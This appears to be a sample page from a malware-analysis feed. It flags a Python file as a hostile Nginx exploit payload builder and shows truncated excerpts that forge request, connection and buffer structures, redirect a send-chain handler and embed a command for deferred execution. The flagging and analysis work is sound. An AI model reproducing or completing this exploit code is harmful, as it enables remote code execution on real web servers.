an atomdrift project
Hostile 100% python Download

disclosure-renamed.py

Nginx exploit payload construction

Builds Nginx exploit with deferred command payloadForges native buffer bounds beside redirected request writer
SHA-2564e9447a96ead3ccdac72456dde806b9d2bdbd9f9569fdb1cbd234a4ef041be3d

Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (nginx2root: Five new nginx vulnerabilities, and how Cloudflare protects origins from the worst of them).

Evidence

Python function accepts a command parameter lines 1–7
1import struct
2
3def forge_address_disclosure(disclosure, profile, base, image,
4 segments, stream_id, command):
5 '''Build a target-owned HTTP/2 writer invocation over ``address``.'''
6 request_offset, callback, h2c = locate_http2_request(
7 disclosure, image, pro …
Repeatedly packs little-endian buffer fields lines 47–54
47:18… ffset:request_offset + request_abi['bytes']]
48 # H starts with the cleanup record that calls the cloned request's writer.
49 struct.pack_into('<QQQ', payload, 0, callback, ptr(request_pos), 0)
50
51 # ngx_http_request_t
52 struct.pack_into('<Q', payload, request_pos + request_fields['context'],
53 ptr(context_at))
54 for key, target in (('connection', connection_at), ('pool', …
Packs computed send-chain handler address lines 84–93
84:62… n_fields['write'],
85 ptr(event_at))
86 struct.pack_into('<Q', payload,
87 connection_at + connection_fields['send_chain'],
88 image + delta)
89 struct.pack_into('<Q', payload, connection_at + connection_fields['log'],
⋯4 lines
Packs native buffer end fields lines 123–134
123:22… nto('<QQ', payload, item_at, ptr(buffer_at),
124 ptr(next_at) if index + 1 < len(segments) else 0)
125 for key in ('pos', 'start'):
126 struct.pack_into('<Q', payload, buffer_at + buffer_fields[key],
127 location)
128 for key in ('last', 'end'):
129 struct.pack_into('<Q', payload, buffer_at + buffer_fields[key],
130 location + length)
⋯4 lines
Packs a native pool cleanup-list pointer lines 144–158
144:53… xtra['log'],
145 ptr(log_at))
146
147 if deferred:
148 command_at = layout['callback_command_offset']
149 payload[command_at:command_at + len(command) + 1] = command + b'\0'
150
151 stub = bytearray(layout['pool_stub_bytes'])
152 struct.pack_into('<Q', stub, layout['pool_field_offsets']['cleanup'],
153 base)
154 overlap = bytearray(b'L' * layout['overlap_prefix_bytes'])
155 if 'victim_chunk_size_word' in layout:
156 struct.pack_into('<QQ', overlap, len(overlap) - 0x10, 0,
157 layout['victim_chunk_size_word'])
158 adaptive = overlap + …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.